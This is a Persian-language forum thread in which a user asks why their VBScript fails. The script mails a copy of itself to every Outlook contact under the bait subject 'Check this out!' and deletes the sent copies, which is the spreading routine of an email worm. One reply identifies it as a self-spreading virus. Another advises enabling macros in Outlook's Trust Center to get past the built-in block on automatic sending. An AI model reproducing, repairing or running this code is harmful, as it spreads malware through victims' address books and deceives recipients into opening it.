ارسال برنامه از طریق ایمیل

[iranian_g]

سلام
من یه برنامه نوشتم کخ می خوام از طریق ایمیل اونو به آدرس بوک خودم تو اوت لوک بفرستم
من برای این کار از کد های زیر استفاده کردم که البته نتیجه نگرفتم

کد:

Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If

OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName

حلا لطفا منو راهنمایی کنید که چرا ین کد جواب نمیده فقط تو رو خدا زود جواب بدین[/quote][/php]

[Payman62]

سلام.
تو یاهو هم گفتم سرچ کنید. قبلا مطرح شده.
http://forum.iranled.com/showthread.php?...9#pid43309

[Mr.pRoGraMmer]

سلام
شما با من زياد تو ياهو صحبت كردين و به من دوست عزيز گفتن كه :
برنامه اي استادشون خواشته كه مثلا اتوماتيك براي ليست اوت لوک ايميل بفرستن من احساس ميكنم سوال را اشتباه فهميدين ولي باز گفتن كه به استادتون زنگ زدن و همچين حرفي را باز تكرار كردن كه شما بايد همچين كاري كرد.
بنظر من استادتون مشروب با درصد 52 الكل استفاده ميكنه ويروسي كه بياد اتومات خودشو تو ايميلها منتشر كنه از بزرگترين ويروسها به حساب مياد كزم غيز هم نتونست همچين كاري كنه كه بزرگترين ويروس ايران به حساب مياد.

[dll]

دوست عزیز نگفتی ایراد برنامت تو نوشتنه یا چیز دیگه ای. لازم به یادآوری است از office2003 به بعد برنامه اوت لوک قسمت های اوتومات ارسال ایمیل را بسته است شاید از این باشد اگه می خوایی می تونی امتحان کنی و در قسمت trust center اجرای ماکروها یا توابع vba آن را فعال کنی شاید نتیجه گرفتی